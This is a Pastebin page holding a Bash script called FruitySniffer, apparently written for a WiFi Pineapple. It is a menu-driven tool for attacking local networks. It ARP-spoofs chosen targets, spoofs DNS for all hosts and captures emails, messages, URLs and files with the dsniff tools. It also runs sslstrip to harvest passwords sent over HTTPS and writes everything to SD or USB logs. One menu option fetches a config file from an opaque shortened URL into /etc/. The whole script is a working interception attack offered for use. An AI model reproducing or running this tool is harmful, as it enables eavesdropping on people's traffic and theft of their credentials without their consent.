Advertisement
Guest User

FruitySniffer Source Code

a guest
Jan 15th, 2014
256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 16.47 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Script made by JesseIZ aka Jesse Izeboud
  4. function finish {
  5.   #  cleanup code
  6. clear
  7.  
  8. ps -ef | grep "arpspoof" | awk '{print $2}' | xargs kill |clear |echo "Exiting arpspoof"
  9.     ps -ef | grep "mdk3" | awk '{print $2}' | xargs kill | clear |echo "Exiting mdk3"
  10.         ps -ef | grep "ettercap" | awk '{print $2}' | xargs kill | clear |echo "Exiting ettercap"
  11.             ps -ef | grep "dsniff" | awk '{print $2}' | xargs kill | clear |echo "Exiting dsniff"
  12.                  ps -ef | grep "urlsnarf" | awk '{print $2}' | xargs kill |clear|echo "Exiting urlsnarf"
  13.                      ps -ef | grep "filesnarf" | awk '{print $2}' | xargs kill |clear|echo "Exiting filesnarf"
  14.                          ps -ef | grep "mailsnarf" | awk '{print $2}' | xargs kill |clear|echo "Exiting mailsnarf"
  15.                             ps -ef | grep "tcpdump" | awk '{print $2}' | xargs kill |clear| echo "Exiting tcpdump"
  16.                                  ps -ef | grep "msgsnarf" | awk '{print $2}' | xargs kill |clear|echo "Exiting msgsnarf "
  17.                                      ps -ef | grep "sslstrip" | awk '{print $2}' | xargs kill |clear|echo "Exiting sslstrip "
  18.  
  19. echo "Done!"
  20.  
  21. sleep 1
  22. clear
  23.  
  24.  
  25.  
  26.  
  27. }  
  28. trap finish EXIT
  29.  
  30.  
  31. while [ answer != "0" ]
  32. do
  33. echo 1 > /proc/sys/net/ipv4/ip_forward
  34. clear
  35.  
  36. clear
  37.  
  38.  
  39.                          
  40.  
  41. echo "#########################################################################################################################"
  42. echo "## _______  _______          __________________          _______  _       _________ _______  _______  _______  _______ ##"
  43. echo "##(  ____ \(  ____ )|\     /|\__   __/\__   __/|\     /|(  ____ \( (    /|\__   __/(  ____ \(  ____ \(  ____ \(  ____ )##"
  44. echo "##| (    \/| (    )|| )   ( |   ) (      ) (   ( \   / )| (    \/|  \  ( |   ) (   | (    \/| (    \/| (    \/| (    )|##"
  45. echo "##| (__    | (____)|| |   | |   | |      | |    \ (_) / | (_____ |   \ | |   | |   | (__    | (__    | (__    | (____)|##"
  46. echo "##|  __)   |     __)| |   | |   | |      | |     \   /  (_____  )| (\ \) |   | |   |  __)   |  __)   |  __)   |     __)##"
  47. echo "##| (      | (\ (   | |   | |   | |      | |      ) (         ) || | \   |   | |   | (      | (      | (      | (\ (   ##"
  48. echo "##| )      | ) \ \__| (___) |___) (___   | |      | |   /\____) || )  \  |___) (___| )      | )      | (____/\| ) \ \__##"
  49. echo "##|/       |/   \__/(_______)\_______/   )_(      \_/   \_______)|/    )_)\_______/|/       |/       (_______/|/   \__/##"
  50. echo "#########################################################################################################################"                                      
  51. echo "Version : Alpha v1.0 "
  52. echo
  53. echo
  54. echo "Select from the following functions"
  55. echo
  56. echo "Hit ctrl + c at any time to quit and clean up"
  57. echo "  0    Clean up manually "
  58. echo "  1    Sniff  Mails ,Messages,and URl's and files"
  59. echo "  2    DNS Spoof, Capture All Packets"
  60. echo "  3    Sniffing with Ettercap"
  61. echo "  4    Install Dependencies"
  62. echo "  5    Sniffing passwords over HTTPS(SSL) + HTTP FTP, IMAP , SMTP and more "
  63. echo "  6    Exit "
  64.  
  65. read -p "choice : " answer
  66.     case $answer in
  67.        0)break
  68.  
  69. ;;
  70.        1)clear
  71. echo
  72. echo
  73. echo
  74. echo "#########################################################################################################################"
  75. echo "## _______  _______          __________________          _______  _       _________ _______  _______  _______  _______ ##"
  76. echo "##(  ____ \(  ____ )|\     /|\__   __/\__   __/|\     /|(  ____ \( (    /|\__   __/(  ____ \(  ____ \(  ____ \(  ____ )##"
  77. echo "##| (    \/| (    )|| )   ( |   ) (      ) (   ( \   / )| (    \/|  \  ( |   ) (   | (    \/| (    \/| (    \/| (    )|##"
  78. echo "##| (__    | (____)|| |   | |   | |      | |    \ (_) / | (_____ |   \ | |   | |   | (__    | (__    | (__    | (____)|##"
  79. echo "##|  __)   |     __)| |   | |   | |      | |     \   /  (_____  )| (\ \) |   | |   |  __)   |  __)   |  __)   |     __)##"
  80. echo "##| (      | (\ (   | |   | |   | |      | |      ) (         ) || | \   |   | |   | (      | (      | (      | (\ (   ##"
  81. echo "##| )      | ) \ \__| (___) |___) (___   | |      | |   /\____) || )  \  |___) (___| )      | )      | (____/\| ) \ \__##"
  82. echo "##|/       |/   \__/(_______)\_______/   )_(      \_/   \_______)|/    )_)\_______/|/       |/       (_______/|/   \__/##"
  83. echo "#########################################################################################################################"           $
  84. echo "Version : Alpha v1.0 "
  85. echo
  86. echo "Sniff  Mails ,Messages,and URl's or start arpspoofing"
  87. echo
  88. ettercap -I
  89. echo "Which interface do you want to use? Default = br-lan"
  90. read Interface
  91. echo "Start Arpspoofing(y/n) only use this if connected in client mode!"
  92. read answer
  93. if [[ $answer == "y"  ]]; then
  94. echo "Starting arpspoof"
  95. route -n -A inet | grep UG
  96. echo "What is your gateway? Should be listed above "
  97. read gateway
  98. nmap -sP "$gateway/24"
  99. echo "Who do you want to arpspoof eg : 192.168.0.18"
  100. read target
  101.  arpspoof -i $Interface -r $gateway -t $target &
  102.  
  103. else  
  104.    echo "press ENTER to continue"
  105.    read key
  106.  
  107.  
  108. fi
  109.  
  110.  
  111. echo "Where do your want to save the output? Default = /sd/FruitySniffer/logs/logs.txt"
  112. read Location
  113.  
  114. if [[ $Location == '' ]]; then  
  115.  
  116. Location=/sd/FruitySniffer/logs/logs.txt #i.e. /sd for sd / for root .
  117.  
  118.  
  119. fi
  120.  
  121. if [[ $Interface == '' ]]; then
  122. Interface=br-lan #i.e. wlan0 for wifi, ppp0 for 3g modem/dialup, eth0 for lan
  123.  
  124. (mailsnarf -i $Interface >> $Location &) && (msgsnarf -i  $Interface >> $Location &) && (urlsnarf -i $Interface  >> $Location &) && (filesnarf -i $Interface >> $Location)
  125.  
  126. else
  127.  
  128. (mailsnarf -i $Interface >> $Location &) && (msgsnarf -i  $Interface >> $Location &) && (urlsnarf -i $Interface  >> $Location &) && (filesnarf -i $Interface >> $Location) && (echo "press ENTER to menu") && (read key)
  129.    
  130.  
  131.  
  132. fi
  133.  
  134.        ;;
  135.        2)
  136. echo
  137. echo
  138. echo
  139. echo "#########################################################################################################################"
  140. echo "## _______  _______          __________________          _______  _       _________ _______  _______  _______  _______ ##"
  141. echo "##(  ____ \(  ____ )|\     /|\__   __/\__   __/|\     /|(  ____ \( (    /|\__   __/(  ____ \(  ____ \(  ____ \(  ____ )##"
  142. echo "##| (    \/| (    )|| )   ( |   ) (      ) (   ( \   / )| (    \/|  \  ( |   ) (   | (    \/| (    \/| (    \/| (    )|##"
  143. echo "##| (__    | (____)|| |   | |   | |      | |    \ (_) / | (_____ |   \ | |   | |   | (__    | (__    | (__    | (____)|##"
  144. echo "##|  __)   |     __)| |   | |   | |      | |     \   /  (_____  )| (\ \) |   | |   |  __)   |  __)   |  __)   |     __)##"
  145. echo "##| (      | (\ (   | |   | |   | |      | |      ) (         ) || | \   |   | |   | (      | (      | (      | (\ (   ##"
  146. echo "##| )      | ) \ \__| (___) |___) (___   | |      | |   /\____) || )  \  |___) (___| )      | )      | (____/\| ) \ \__##"
  147. echo "##|/       |/   \__/(_______)\_______/   )_(      \_/   \_______)|/    )_)\_______/|/       |/       (_______/|/   \__/##"
  148. echo "#########################################################################################################################"           $
  149. echo "Version : Alpha v1.0 "
  150. echo
  151. echo "DNS Spoof and Capture packets"
  152. echo
  153. echo
  154. echo " Do you want to setup DNS Spoof? (y/n) "
  155. read yesorno
  156. if [[ $yesorno == '' ]]; then
  157. echo "thats not an option"
  158.  
  159. fi
  160. if [[ $yesorno == 'y' ]]; then
  161.  
  162. echo "starting DNS Spoof setup"
  163. echo "."
  164. echo ".."
  165. echo "..."
  166. sleep 1
  167. echo "setup hostfile (spoof all hosts by typing : 172.16.42.1 * )!"
  168. sleep 2
  169. touch /etc/pineapple/spoofhost.txt
  170. nano /etc/pineapple/spoofhost.txt
  171. echo "hostfile setup complete"
  172. sleep 1
  173. ettercap -I
  174. echo "choose your interface that's connected to the internet (Default = br-lan)"
  175. read Interface2
  176. echo "You choosed $Interface2"
  177. echo
  178.  
  179. if [[ $Interface2 == '' ]]; then
  180. Interface=br-lan
  181.  
  182. fi
  183. (dnsspoof -i $Interface2 -f /etc/pineapple/spoofhost &) && (echo "dnsspoof is running " & )
  184. fi
  185. echo
  186. echo
  187. echo
  188. echo
  189. echo
  190. echo "Do you want to capture all trafic ? SD CARD/USB Saving only!! (y/n)"
  191. read yesorno2
  192. if [[ $yesorno2 == ''  ]]; then
  193. echo "that's not an option"
  194. echo "Do you want to capture all trafic ? SD CARD/USB Saving only!! (y/n)"
  195. read yesorno2  
  196. fi
  197. if [[ $yesorno2 == 'y' ]]; then
  198. [ -d "/sd"  ] && echo " SD Card Found!" || echo "No SD Card Found!"
  199. [ -d "/usb"  ] && echo "Usb Found!" || echo "No USB found!"
  200. sleep 1
  201. echo "do you want to save the capture on /sd or /usb?"
  202. read SDorUSB
  203. if [[ $SDorUSB == ''  ]]; then
  204. echo "that's not an option"
  205. echo "do you want to save the capture on /sd or /usb?"
  206. read SDorUSB
  207. fi
  208. if [[ $SDorUSB == '/sd'  ]]; then
  209. mkdir /sd/FruitySniffer/
  210. mkdir /sd/FruitySniffer/logs
  211. mkdir /sd/FruitySniffer/logs/tcpdump/
  212. touch /sd/FruitySniffer/logs/tcpdump/logs*.txt
  213. SDorUSB=/sd/FruitySniffer/logs/tcpdump/logs*.txt
  214. echo "Log file saved in $SDorUSB"
  215. sleep 3
  216. fi
  217. if [[ $SDorUSB == '/usb'  ]]; then
  218. mkdir /usb/FruitySniffer/
  219. mkdir /usb/FruitySniffer/logs
  220. mkdir /usb/FruitySniffer/logs/tcpdump/
  221. touch /usb/FruitySniffer/logs/tcpdump/logs*txt
  222. SDorUSB=/usb/FruitySniffer/logs/tcpdump/logs*txt
  223. echo "log file saved in $SDorUSB"
  224.  
  225. fi
  226. echo "Starting tcpdump hit ctrl + c to exit"
  227. sleep 1
  228. echo "."
  229. echo ".."
  230. echo "..."
  231. tcpdump -w $SDorUSB
  232. fi
  233.        ;;
  234.        3)
  235. clear
  236. echo
  237. echo
  238. echo
  239. echo "#########################################################################################################################"
  240. echo "## _______  _______          __________________          _______  _       _________ _______  _______  _______  _______ ##"
  241. echo "##(  ____ \(  ____ )|\     /|\__   __/\__   __/|\     /|(  ____ \( (    /|\__   __/(  ____ \(  ____ \(  ____ \(  ____ )##"
  242. echo "##| (    \/| (    )|| )   ( |   ) (      ) (   ( \   / )| (    \/|  \  ( |   ) (   | (    \/| (    \/| (    \/| (    )|##"
  243. echo "##| (__    | (____)|| |   | |   | |      | |    \ (_) / | (_____ |   \ | |   | |   | (__    | (__    | (__    | (____)|##"
  244. echo "##|  __)   |     __)| |   | |   | |      | |     \   /  (_____  )| (\ \) |   | |   |  __)   |  __)   |  __)   |     __)##"
  245. echo "##| (      | (\ (   | |   | |   | |      | |      ) (         ) || | \   |   | |   | (      | (      | (      | (\ (   ##"
  246. echo "##| )      | ) \ \__| (___) |___) (___   | |      | |   /\____) || )  \  |___) (___| )      | )      | (____/\| ) \ \__##"
  247. echo "##|/       |/   \__/(_______)\_______/   )_(      \_/   \_______)|/    )_)\_______/|/       |/       (_______/|/   \__/##"
  248. echo "#########################################################################################################################"           $
  249. echo "Version : Alpha v1.0 "
  250. echo
  251. echo
  252. echo
  253. echo
  254. echo "Ettercap"
  255. echo
  256. echo
  257. echo
  258. echo "Downloading config file"
  259. wget  http://bit.ly/1iQbYYX -P /etc/ -q
  260. echo "Installed the right config file"
  261. sleep 1
  262. echo "Do you want to sniff on the entire subnet (y/n) ? (Not Stealthy!)"
  263. read yesorno3
  264.  
  265. if [[ $yesorno3 == 'y'  ]]; then
  266. echo " Sniffing in silent mode  (y/n) ?(if not it's gonna Spam your terminal!!)?"
  267. read yesorno4
  268. if [[ $yesorno4 == 'y'  ]]; then
  269. ettercap -I
  270. echo "what is your interface connected to the internet? Default = br-lan"
  271. read Interface14
  272. if [[ $Interface14 == ''  ]]; then
  273. Interface14=br-lan
  274. fi
  275. echo "Starting Sniffing on entire subnet"
  276. echo "."
  277. echo ".."
  278. echo "..."
  279. (ettercap -Tq -i $Interface14 -M arp // // ) && (echo " Sniffing attack started!")
  280. fi
  281.  
  282.  
  283. if [[ $yesorno4 == ''  ]]; then
  284. echo "That's not an option!"
  285. fi
  286. if  [[ $yesorno4 == 'n'  ]]; then
  287.  
  288. ettercap -I
  289. echo "what is your interface connected to the internet? Default = br-lan"
  290. read Interface15
  291. if [[ $Interface15 == ''  ]]; then
  292. Interface15=br-lan
  293. fi
  294. echo "Starting Sniffing on entire subnet"
  295. echo "."
  296. echo ".."
  297. echo "..."
  298. (ettercap -T -i $Interface14 -M arp // // ) && (echo "Sniffing attack started!")
  299.  
  300.  
  301.  
  302. if [[ $yesorno3 == '' ]]; then echo "That's not an option" fi
  303.  
  304. if [[ $yesorno3 == 'n' ]]; then echo "Setting up ettercap sniffing "
  305. echo "."
  306. echo ".."
  307. echo "..."
  308. sleep 1
  309. route -n -A inet | grep UG
  310. echo "What is the gateway of the interface connected to the internet? Default = 172.16.42.1"
  311. read gateway14
  312. if [[ $gateway14 == '' ]]; then
  313. gateway14=172.16.42.1
  314. fi
  315. echo "Scan for targets? (y/n) "
  316. read yesorno5
  317.  
  318. if [[ $yesorno5 == 'y' ]]; then
  319. echo "Scanning for targets"
  320. sleep 1
  321. nmap -sP "$gateway14/24"
  322. fi
  323.  
  324. echo "Enter target IP : "
  325. read targetIP
  326. if [[ $targetIP == '' ]]; then
  327. echo "that's not an option!"
  328. fi
  329. echo " Where do you want to save the sniffed data? default = /sd/FruitySniffer/logs/MITM/ "
  330. read savesniff
  331. echo "how do you want to name your log file? default = FruitySniffer.log"
  332. read defaultname
  333.  
  334. if [[ $defaultname == ''  ]]; then
  335. defaultname=FruitySniffer.log
  336. fi
  337.  
  338. if [[ $savesniff == ''  ]]; then
  339. savesniff=/sd/FruitySniffer/logs/MITM/
  340. fi
  341.  
  342.  
  343. sleep 1
  344. [ -d "$savesniff"  ] && echo "Directory exists" || echo "Directory doesn't exist! Making it! "
  345.  
  346. mkdir $savesniff
  347.  
  348. touch "$savesniff$defaultname"
  349.  
  350.  
  351.  
  352. ettercap -I
  353. echo "What is your interface? Default = br-lan"
  354. read interface16
  355.  
  356. if [[ $interface16 == '' ]]; then
  357. interface16=br-lan
  358. fi
  359.  
  360. sleep 3
  361. echo "Starting  Sniffing on Target!"
  362. echo "."
  363. echo ".."
  364. echo "..."
  365. echo "Started Sniffing on Target!"
  366. ettercap -i $interface16 -T -q -M arp:oneway,remote -w "$savesniff$defaultname{0123456789}" /$gateway14/ /$targetIP/
  367.  
  368. fi
  369.  
  370.  
  371.  
  372.  
  373.  
  374.  
  375.  
  376.  
  377.  
  378.  
  379.  
  380. fi
  381. fi
  382.  
  383. fi
  384.        ;;
  385.        4)
  386.  
  387. echo "Installing Dependencies"
  388. sudo apt-get install ettercap
  389. sudo apt-get install dsniff
  390. sudo apt-get install mdk3
  391. sudo apt-get install sslstrip
  392. sudo apt-get install tcpdump
  393. echo "Done!"
  394. ;;
  395.  
  396. 5)
  397. clear
  398. echo
  399. echo
  400. echo
  401. echo "#########################################################################################################################"
  402. echo "## _______  _______          __________________          _______  _       _________ _______  _______  _______  _______ ##"
  403. echo "##(  ____ \(  ____ )|\     /|\__   __/\__   __/|\     /|(  ____ \( (    /|\__   __/(  ____ \(  ____ \(  ____ \(  ____ )##"
  404. echo "##| (    \/| (    )|| )   ( |   ) (      ) (   ( \   / )| (    \/|  \  ( |   ) (   | (    \/| (    \/| (    \/| (    )|##"
  405. echo "##| (__    | (____)|| |   | |   | |      | |    \ (_) / | (_____ |   \ | |   | |   | (__    | (__    | (__    | (____)|##"
  406. echo "##|  __)   |     __)| |   | |   | |      | |     \   /  (_____  )| (\ \) |   | |   |  __)   |  __)   |  __)   |     __)##"
  407. echo "##| (      | (\ (   | |   | |   | |      | |      ) (         ) || | \   |   | |   | (      | (      | (      | (\ (   ##"
  408. echo "##| )      | ) \ \__| (___) |___) (___   | |      | |   /\____) || )  \  |___) (___| )      | )      | (____/\| ) \ \__##"
  409. echo "##|/       |/   \__/(_______)\_______/   )_(      \_/   \_______)|/    )_)\_______/|/       |/       (_______/|/   \__/##"
  410. echo "#########################################################################################################################"           $
  411. echo "Version : Alpha v1.0 "
  412. echo
  413. echo
  414. echo
  415. echo "Sniffing passwords over HTTPS(SSL) + HTTP and more"
  416. echo
  417. echo "Do you want to start arpspoofing? (y/n) Only use this if connected in client mode!"
  418. read arpspoofyn
  419. if [[ $arpspoofyn == ''  ]]; then
  420. echo "that's not an option!"
  421. fi
  422. if [[ $arpspoofyn == 'y'  ]]; then
  423. echo "Starting arpspoof setup"
  424. sleep 1
  425. echo "."
  426. echo ".."
  427. sleep 1
  428. echo "..."
  429. sleep 1
  430. echo "...."
  431. route -n -A inet | grep UG
  432. echo "What is your gateway? Should be listed above "
  433. read gateway111
  434. echo "What is your interface connected to the internet? : = Default = br-lan"
  435. read Interface1412
  436.  
  437. if [[ $Interface1412 == ''  ]]; then
  438. Interface1412=br-lan
  439. fi
  440. nmap -sP "$gateway111/24"
  441. echo "Who do you want to arpspoof eg : 192.168.0.18"
  442. read target11
  443. arpspoof -i $Interface1412 -r $gateway111 -t $target11
  444. fi
  445. if [[ $arpspoofyn == 'n'  ]]; then
  446. echo
  447. echo
  448. echo "Where do you want to save the output? Default = /sd/FruitySniffer/logs/Passwords/"
  449. read saveoutput
  450.  
  451. if [[ $saveoutput == ''  ]]; then
  452. saveoutput=/sd/FruitySniffer/logs/Passwords/
  453. mkdir /sd/FruitySniffer
  454. mkdir /sd/FruitySniffer/logs/
  455. mkdir /sd/FruitySniffer/logs/Passwords/
  456.  
  457. fi
  458. mkdir $saveoutput
  459. ettercap -I
  460. echo "Choose the interface that's connected to the internet? Default = br-lan"
  461. read iface
  462.  
  463. if [[ $iface == ''  ]]; then
  464. iface=br-lan
  465. fi
  466.  
  467. echo "Starting Password Sniffing"
  468. echo "."
  469. sleep 1
  470. echo ".."
  471. sleep 1
  472. echo "..."
  473. sleep 1
  474. echo "Started Password Sniffing"
  475.  
  476. dsniff -i $iface -w "$saveoutput/logs*.txt" &  
  477. sslstrip  $iface -w "$saveoutput/sslstrip*.log" &
  478.  
  479.  
  480. fi
  481.  
  482. ;;
  483.  
  484. 6)
  485. clear
  486. break;;
  487.    
  488.        
  489.      
  490.    esac
  491.    echo "Press RETURN for menu"
  492.    read key
  493. done
  494. exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement